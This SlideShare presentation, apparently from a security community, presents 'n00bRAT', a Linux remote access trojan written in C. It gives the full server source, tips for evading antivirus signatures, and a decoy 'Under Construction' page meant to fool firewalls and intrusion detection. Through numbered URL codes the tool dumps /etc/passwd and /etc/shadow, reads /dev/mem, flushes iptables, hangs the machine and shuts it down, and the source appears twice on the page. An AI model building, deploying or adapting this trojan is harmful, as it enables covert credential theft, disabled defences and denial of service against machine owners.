SlideShare uma empresa Scribd logo
1 de 7
Baixar para ler offline
n00bRAT (novice's Remote Administration Tool)
                                                                                       Submitted By,
                                                                                             m0727
                                                                                    Abhishek Kumar

>use it as a trojan
>a tool to keep a track on your N/W machines




                  ============Procedures to make it Undetectable============
[] Compress/Encrypt it
         --tampering the signature
[] Add Junk Bytes to it
          --tampering the signature
[] Hex-Edit
         --to split trojan and shift signature's offset
[] Create Your Own
         --from the source




                 ============Procedures to make it Easily Usable============
[] using well-formatted CLI
         --using nCurses or something
[] using simple GUI
         --use any Window-Programming Language
[] something existing - which you don't need to program




                        ============Procedures Followed============
So, here we are to follow the 4th and full-proof plan for an undetectable trojan... creating our own.
And, to make it easily usable (real easy)... we opt something existing i.e. Web Browser in our
case.

Actually, what we gonna have here is a n00bRAT Server which will act as a HTTP Server.
It will acknowledge all HTTP Requests from any Web Browser.
To hide its identity if wrong URL is requested, it responds with an 'Under Construction' page.
When correct URL Requested, action associated with it is performed, attached to a HTTP
Response and sent.
This HTTP Reponse is displayed to Client on the same Web Page opened.

This approach should also be useful in fooling firewalls/ids/ips security solutions, as it operates
like any web-site.




                         ============Feature's Of n00bRAT=========
Technologies Used:
* UniX C Socket Programing Libraries
         * UniX IPC Programing
         * HTTP Protocol Based Request/Response
[] n00bRAT's Server
         * operates at Port 80 (could switch it to 8080/443/other if desired Port busy)
         * port to run can be tweaked, it behaves as an HTTP Server
                  > accepts HTTP Requests
                  > replies HTTP Responses
         * checks for HTTP Request
                  > if its correct, replies with Result hidden in HTTP Response
                  > if its incorrect, replies with an 'under construction' to counter unknown expose
[] n00bRAT's Client
         * any Web Browser could act as it's client, as Request/Response is in HTTP Messages
         * establishes connection on suitable reply (an HTTP Response)
         * sends action codes for desired commands hidden in HTTP Requests to CHEAT Packet
Scanners
[] Both Server/Client
         * have a pre-specified set of important System Commands with numeric codes
         * work as a Trojan not Virus (means no Replication, remains low profile and under
control)




               ========n00bRAT's Code [2 Files: n00bRAT.h, ABK_n00bRAT.c]=========

/////////////////////////////////////////////////////////////////////////
/*<--------start of File : n00bRAT.h----------->*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>                     /* netbd.h is needed for struct hostent */

#include <string.h>

#include <unistd.h>
#include <errno.h>

//here in this code we use PORT, you could switch it to PORT2, PORT3
//or else if already a server at that Port exists
#define PORT 80 /* Port that will be opened */
#define PORT2 8080 /* Port that will be opened */
#define PORT3 443 /* Port that will be opened */

#define MAXDATASIZE 100 /* Max number of bytes of data */
#define MAXSTRSIZE 65535

#define BACKLOG 2 /* Number of allowed connections */
/*<----------end of File : n00bRAT.h----------->*/
/////////////////////////////////////////////////////////////////////////


/////////////////////////////////////////////////////////////////////////
/*<--------start of File : HTTPServer.c----------->*/
/***********************************************************************************************
@appName            : n00bRAT Server
@description : RAT (Remote Admin. Tool) for TuX (Linux/UNiX) Machines
                             use it as a Trojan Test for your Firewall/IDS/IPS
                             or to Remotely Admin. your Machines ViA Web.Browsers
                             Client side just requires a Web Browser like FireFox, Opera, etc.
@version            : 0.5beta
@author             : AbhishekKr [http://hackersmag.blogspot.com/] -=ABK=-
**********************************************************************************************/

/* n00bRAT Server SOURCE CODE STARTS HERE */
#include "n00bRAT.h"

//the string finally sent as HTTP Response
char httpResponse[MAXSTRSIZE]="0";

//the string to be copied to Response if correct Request
char httpResponse200[] = "HTTP/1.1 200 OKnDate: Sat, 05 Dec 2009 19:59:14 GMTnServer:
Apache/2.2.4 (Unix) DAV/2 mod_python/3.3.1 Python/2.5.1 PHP/5.2.4nmod_perl/2.0.4-dev
Perl/v5.8.8nLast-Modified: Sat, 20 Nov 2004 20:16:24 GMTnETag: "34c4-2c-4c23b600
"nAccept-Ranges: bytesnContent-Length: 44nConnection: closenContent-Type: text/htmlnn
<html><head><title>it's n00bRAT, you control this machine here</title></head><body><center>
<h1>-=n00bRAT=-</h1><h3>TuX Remote Administration Tool v0.5Beta</h3>even a Novice could
use this RAT like a Pro</center><div id='actions'><a href='0'>Hang The Machine</a><br/><a
href='1'>/etc/passwd</a><br/><a href='2'>/etc/shadow</a><br/><a href='3'>/etc/resolv.conf
(the resolved IP entries)</a><br/><a href='4'>/dev/mem (map the dynamic memory)</a><br/><a
href='5'>iptables --flush (Clear all entries in Firewall)</a><br/><a href='6'>ifconfig -a</a><br/>
<a href='7'>ifconfig -s</a><br/><a href='8'>poweroff</a><br/><a href='9'>reboot</a><br/>
</div><br/>====================================<br/><br/></body></html>";

//the string to be copied to Response if incorrect Request
char httpResponse400[] = "HTTP/1.1 200 OKnDate: Sat, 05 Dec 2009 19:59:14 GMTnServer:
Apache/2.2.4 (Unix) DAV/2 mod_python/3.3.1 Python/2.5.1 PHP/5.2.4nmod_perl/2.0.4-dev
Perl/v5.8.8nLast-Modified: Sat, 20 Nov 2004 20:16:24 GMTnETag: "34c4-2c-4c23b600
"nAccept-Ranges: bytesnContent-Length: 44nConnection: closenContent-Type: text/htmlnn
<html><head><title>TuXperiment</title></head><body><center><h1>Experimental Network
Server</h1><h3>Under Constrution</h3></center><div id='actions'><br/></div><br/>
====================================<br/><br/></body></html>";

char Request[MAXSTRSIZE]="0";        //buffer to holf Client's Request
int pfds[2]; //Pipe File Descriptors
int fd, fd2; //File descriptors
int axnCode; //To hold AXN Requested by Client

/****Prototypes****/
void dupStreamz();         //closes stdout and dup it to a stream used
void tellClient(); //sends as per desired HTTP Response
int getAXN();              //extracts Action Code from HTTP Request
/******************/

main()
{
         int numbytes;

         struct sockaddr_in server; /* server's address information */
         struct sockaddr_in client; /* client's address information */
int sin_size;

        //dup all stdout to local file descriptor
        dupStreamz();

        if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ){ /* calls socket() */
                 system("echo 'socket() error' >> zerror.log");
                 printf("server: socket() errorn");
                 exit(-1);
        }

       server.sin_family = AF_INET;
       server.sin_port = htons(PORT); /* Remember htons() from "Conversions" section? =) */
       server.sin_addr.s_addr = INADDR_ANY; /* INADDR_ANY puts your IP address
automatically */
       bzero(&(server.sin_zero),8); /* zero the rest of the structure */

        if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1){ /* calls bind() */
                 system("echo 'bind() error' >> zerror.log");
                 printf("server: bind() errorn");
                 exit(-1);
        }

        if(listen(fd,BACKLOG) == -1){ /* calls listen() */
                  system("echo 'listen() error' >> zerror.log");
                  printf("server: listen() errorn");
                  exit(-1);
        }

        while(1){
                sin_size=sizeof(struct sockaddr_in);
                if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){ /* calls accept() */
                          system("echo 'accept() error' >> zerror.log");
                          printf("server: accept() errorn");
                          exit(-1);
                }

                 if ( (numbytes = recv(fd2, Request, MAXSTRSIZE, 0)) > 0 )
                 {
                          Request[numbytes]='0';
                          //sscanf(buf, "GET %s HTTP", Req);
                 }else{
                          printf("server: recv() error");
                          system("echo 'recv() error' >> zerror.log");
                 }

                 axnCode = getAXN();//1;
                 tellClient();

                  close(fd2); /* close fd2 */
         }
         return 0;
}//end of main

//it duplicates STDOUT to a Program Handled Stream using it
//output of system commands is captured in this stream directly
void dupStreamz(){
  if(pipe(pfds) == -1){
system("echo 'IPC error' >> zerror.log");
           perror("server: PiPiNG FlaW");
           exit(1);
    }

    close(1);
    dup(pfds[1]);
    return;
}

//it checks for the desired action in axnCode,
//executes the desired system command
//builds up the HTTP Response with desired Output
//send the HTTP Response to Client
void tellClient(){
         char buf[MAXSTRSIZE] = "HTTP 200 OK0";                //buffer to hold System Commands'
Output
         char tmpBuf[MAXSTRSIZE];
         int idx;

           //clearing previous stream content
           for(idx=0; idx<strlen(buf); idx++)
                    buf[idx]='0';
           for(idx=0; idx<strlen(tmpBuf); idx++)
                    tmpBuf[idx]='0';
           for(idx=0; idx<strlen(httpResponse); idx++)
                    httpResponse[idx]='0';

           switch(axnCode){
                   //default case
                   case -1:strcpy(httpResponse,httpResponse200);
                                       system("echo "<br/><br/><i>n00bROOT</i>""); break;
                   //hangs the TuX machine
                   case 0:             strcpy(httpResponse,httpResponse200);
                                       system("cat /dev/port"); break;
                   //all entries of /etc/passwd
                   case 1:             strcpy(httpResponse,httpResponse200);
                                       system("echo '/etc/passwd Listing: ' | cat /etc/passwd");
           break;
                   //all entries of /etc/shadow
                   case 2:             strcpy(httpResponse,httpResponse200);
                                       system("echo '/etc/shadow Listing: ' | cat /etc/shadow");
           break;
                   //all entries of /etc/resolv.conf
                   case 3:             strcpy(httpResponse,httpResponse200);
                                       system("echo '/etc/resolv.conf Listing: ' | cat /etc/resolv.conf");
           break;
                   //prints entire dynamic memory
                   case 4:             strcpy(httpResponse,httpResponse200);
                                       system("echo '/dev/mem Listing: ' | cat /dev/mem");        break;
                   //deletes all entries of IPTABLES (Firewall)
                   case 5:             strcpy(httpResponse,httpResponse200);
                                       system("iptables --flush | echo 'IPTables Entries Deleted'");
           break;
                   //all information of all NICs
                   case 6:             strcpy(httpResponse,httpResponse200);
                                       system("echo 'ifconfig-a Listing: ' | ifconfig -a");       break;
                   //System Coded Info of all NICs
case 7:           strcpy(httpResponse,httpResponse200);
                                   system("echo 'ifconfig-s Listing: ' | ifconfig -s");break;
                 //PowerOff
                 case 8:           strcpy(httpResponse,httpResponse200);
                                   system("poweroff");     break;
                 //Reboot
                 case 9:           strcpy(httpResponse,httpResponse200);
                                   system("reboot");       break;
                 //default case
                 default: strcpy(httpResponse,httpResponse400);
                                  system("echo "HTTP 404""); break;
        }
        read(pfds[0], buf, MAXSTRSIZE);
        strncat(tmpBuf,httpResponse,strlen(httpResponse));
        strncat(tmpBuf,buf,strlen(buf));
        send(fd2,tmpBuf,(strlen(httpResponse)+strlen(buf)),0);
        return;
}

//extracts the action code from HTTP Request
//returns back the action Code
int getAXN(){
         char *axnTok;
         if((axnTok=strtok(Request," ")) != NULL){
                  if((axnTok=strtok(NULL," ")) != NULL){
                          printf("naxn: %sn",axnTok);
                          if(strcmp("/n00b",axnTok)==0)
                                    return -1;
                          else if(strcmp("/0",axnTok)==0)
                                    return 0;
                          else if(strcmp("/1",axnTok)==0)
                                    return 1;
                          else if(strcmp("/2",axnTok)==0)
                                    return 2;
                          else if(strcmp("/3",axnTok)==0)
                                    return 3;
                          else if(strcmp("/4",axnTok)==0)
                                    return 4;
                          else if(strcmp("/5",axnTok)==0)
                                    return 5;
                          else if(strcmp("/6",axnTok)==0)
                                    return 6;
                          else if(strcmp("/7",axnTok)==0)
                                    return 7;
                          else if(strcmp("/8",axnTok)==0)
                                    return 8;
                          else if(strcmp("/9",axnTok)==0)
                                    return 9;
                          else if(strcmp("/10",axnTok)==0)
                                    return 10;
                  }
         }
         return -10;
}

/* n00bRAT Server SOURCE CODE ENDS HERE */

/*<----------end of File : HTTPServer.c----------->*/
/////////////////////////////////////////////////////////////////////////

Mais conteúdo relacionado

Mais de n|u - The Open Security Community

Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...n|u - The Open Security Community
 

Mais de n|u - The Open Security Community (20)

Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)
 
Osint primer
Osint primerOsint primer
Osint primer
 
SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
 
Nmap basics
Nmap basicsNmap basics
Nmap basics
 
Metasploit primary
Metasploit primaryMetasploit primary
Metasploit primary
 
Api security-testing
Api security-testingApi security-testing
Api security-testing
 
Introduction to TLS 1.3
Introduction to TLS 1.3Introduction to TLS 1.3
Introduction to TLS 1.3
 
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
 
Talking About SSRF,CRLF
Talking About SSRF,CRLFTalking About SSRF,CRLF
Talking About SSRF,CRLF
 
Building active directory lab for red teaming
Building active directory lab for red teamingBuilding active directory lab for red teaming
Building active directory lab for red teaming
 
Owning a company through their logs
Owning a company through their logsOwning a company through their logs
Owning a company through their logs
 
Introduction to shodan
Introduction to shodanIntroduction to shodan
Introduction to shodan
 
Cloud security
Cloud security Cloud security
Cloud security
 
Detecting persistence in windows
Detecting persistence in windowsDetecting persistence in windows
Detecting persistence in windows
 
Frida - Objection Tool Usage
Frida - Objection Tool UsageFrida - Objection Tool Usage
Frida - Objection Tool Usage
 
OSQuery - Monitoring System Process
OSQuery - Monitoring System ProcessOSQuery - Monitoring System Process
OSQuery - Monitoring System Process
 
DevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -SecurityDevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -Security
 
Extensible markup language attacks
Extensible markup language attacksExtensible markup language attacks
Extensible markup language attacks
 
Linux for hackers
Linux for hackersLinux for hackers
Linux for hackers
 
Android Pentesting
Android PentestingAndroid Pentesting
Android Pentesting
 

Último

Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?Antenna Manufacturer Coco
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxKatpro Technologies
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUK Journal
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?Igalia
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Enterprise Knowledge
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 

Último (20)

Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 

n00bRAT (novice's Remote Administration Tool)

  • 1. n00bRAT (novice's Remote Administration Tool) Submitted By, m0727 Abhishek Kumar >use it as a trojan >a tool to keep a track on your N/W machines ============Procedures to make it Undetectable============ [] Compress/Encrypt it --tampering the signature [] Add Junk Bytes to it --tampering the signature [] Hex-Edit --to split trojan and shift signature's offset [] Create Your Own --from the source ============Procedures to make it Easily Usable============ [] using well-formatted CLI --using nCurses or something [] using simple GUI --use any Window-Programming Language [] something existing - which you don't need to program ============Procedures Followed============ So, here we are to follow the 4th and full-proof plan for an undetectable trojan... creating our own. And, to make it easily usable (real easy)... we opt something existing i.e. Web Browser in our case. Actually, what we gonna have here is a n00bRAT Server which will act as a HTTP Server. It will acknowledge all HTTP Requests from any Web Browser. To hide its identity if wrong URL is requested, it responds with an 'Under Construction' page. When correct URL Requested, action associated with it is performed, attached to a HTTP Response and sent. This HTTP Reponse is displayed to Client on the same Web Page opened. This approach should also be useful in fooling firewalls/ids/ips security solutions, as it operates like any web-site. ============Feature's Of n00bRAT========= Technologies Used:
  • 2. * UniX C Socket Programing Libraries * UniX IPC Programing * HTTP Protocol Based Request/Response [] n00bRAT's Server * operates at Port 80 (could switch it to 8080/443/other if desired Port busy) * port to run can be tweaked, it behaves as an HTTP Server > accepts HTTP Requests > replies HTTP Responses * checks for HTTP Request > if its correct, replies with Result hidden in HTTP Response > if its incorrect, replies with an 'under construction' to counter unknown expose [] n00bRAT's Client * any Web Browser could act as it's client, as Request/Response is in HTTP Messages * establishes connection on suitable reply (an HTTP Response) * sends action codes for desired commands hidden in HTTP Requests to CHEAT Packet Scanners [] Both Server/Client * have a pre-specified set of important System Commands with numeric codes * work as a Trojan not Virus (means no Replication, remains low profile and under control) ========n00bRAT's Code [2 Files: n00bRAT.h, ABK_n00bRAT.c]========= ///////////////////////////////////////////////////////////////////////// /*<--------start of File : n00bRAT.h----------->*/ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> /* netbd.h is needed for struct hostent */ #include <string.h> #include <unistd.h> #include <errno.h> //here in this code we use PORT, you could switch it to PORT2, PORT3 //or else if already a server at that Port exists #define PORT 80 /* Port that will be opened */ #define PORT2 8080 /* Port that will be opened */ #define PORT3 443 /* Port that will be opened */ #define MAXDATASIZE 100 /* Max number of bytes of data */ #define MAXSTRSIZE 65535 #define BACKLOG 2 /* Number of allowed connections */ /*<----------end of File : n00bRAT.h----------->*/ ///////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////
  • 3. /*<--------start of File : HTTPServer.c----------->*/ /*********************************************************************************************** @appName : n00bRAT Server @description : RAT (Remote Admin. Tool) for TuX (Linux/UNiX) Machines use it as a Trojan Test for your Firewall/IDS/IPS or to Remotely Admin. your Machines ViA Web.Browsers Client side just requires a Web Browser like FireFox, Opera, etc. @version : 0.5beta @author : AbhishekKr [http://hackersmag.blogspot.com/] -=ABK=- **********************************************************************************************/ /* n00bRAT Server SOURCE CODE STARTS HERE */ #include "n00bRAT.h" //the string finally sent as HTTP Response char httpResponse[MAXSTRSIZE]="0"; //the string to be copied to Response if correct Request char httpResponse200[] = "HTTP/1.1 200 OKnDate: Sat, 05 Dec 2009 19:59:14 GMTnServer: Apache/2.2.4 (Unix) DAV/2 mod_python/3.3.1 Python/2.5.1 PHP/5.2.4nmod_perl/2.0.4-dev Perl/v5.8.8nLast-Modified: Sat, 20 Nov 2004 20:16:24 GMTnETag: "34c4-2c-4c23b600 "nAccept-Ranges: bytesnContent-Length: 44nConnection: closenContent-Type: text/htmlnn <html><head><title>it's n00bRAT, you control this machine here</title></head><body><center> <h1>-=n00bRAT=-</h1><h3>TuX Remote Administration Tool v0.5Beta</h3>even a Novice could use this RAT like a Pro</center><div id='actions'><a href='0'>Hang The Machine</a><br/><a href='1'>/etc/passwd</a><br/><a href='2'>/etc/shadow</a><br/><a href='3'>/etc/resolv.conf (the resolved IP entries)</a><br/><a href='4'>/dev/mem (map the dynamic memory)</a><br/><a href='5'>iptables --flush (Clear all entries in Firewall)</a><br/><a href='6'>ifconfig -a</a><br/> <a href='7'>ifconfig -s</a><br/><a href='8'>poweroff</a><br/><a href='9'>reboot</a><br/> </div><br/>====================================<br/><br/></body></html>"; //the string to be copied to Response if incorrect Request char httpResponse400[] = "HTTP/1.1 200 OKnDate: Sat, 05 Dec 2009 19:59:14 GMTnServer: Apache/2.2.4 (Unix) DAV/2 mod_python/3.3.1 Python/2.5.1 PHP/5.2.4nmod_perl/2.0.4-dev Perl/v5.8.8nLast-Modified: Sat, 20 Nov 2004 20:16:24 GMTnETag: "34c4-2c-4c23b600 "nAccept-Ranges: bytesnContent-Length: 44nConnection: closenContent-Type: text/htmlnn <html><head><title>TuXperiment</title></head><body><center><h1>Experimental Network Server</h1><h3>Under Constrution</h3></center><div id='actions'><br/></div><br/> ====================================<br/><br/></body></html>"; char Request[MAXSTRSIZE]="0"; //buffer to holf Client's Request int pfds[2]; //Pipe File Descriptors int fd, fd2; //File descriptors int axnCode; //To hold AXN Requested by Client /****Prototypes****/ void dupStreamz(); //closes stdout and dup it to a stream used void tellClient(); //sends as per desired HTTP Response int getAXN(); //extracts Action Code from HTTP Request /******************/ main() { int numbytes; struct sockaddr_in server; /* server's address information */ struct sockaddr_in client; /* client's address information */
  • 4. int sin_size; //dup all stdout to local file descriptor dupStreamz(); if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ){ /* calls socket() */ system("echo 'socket() error' >> zerror.log"); printf("server: socket() errorn"); exit(-1); } server.sin_family = AF_INET; server.sin_port = htons(PORT); /* Remember htons() from "Conversions" section? =) */ server.sin_addr.s_addr = INADDR_ANY; /* INADDR_ANY puts your IP address automatically */ bzero(&(server.sin_zero),8); /* zero the rest of the structure */ if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1){ /* calls bind() */ system("echo 'bind() error' >> zerror.log"); printf("server: bind() errorn"); exit(-1); } if(listen(fd,BACKLOG) == -1){ /* calls listen() */ system("echo 'listen() error' >> zerror.log"); printf("server: listen() errorn"); exit(-1); } while(1){ sin_size=sizeof(struct sockaddr_in); if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){ /* calls accept() */ system("echo 'accept() error' >> zerror.log"); printf("server: accept() errorn"); exit(-1); } if ( (numbytes = recv(fd2, Request, MAXSTRSIZE, 0)) > 0 ) { Request[numbytes]='0'; //sscanf(buf, "GET %s HTTP", Req); }else{ printf("server: recv() error"); system("echo 'recv() error' >> zerror.log"); } axnCode = getAXN();//1; tellClient(); close(fd2); /* close fd2 */ } return 0; }//end of main //it duplicates STDOUT to a Program Handled Stream using it //output of system commands is captured in this stream directly void dupStreamz(){ if(pipe(pfds) == -1){
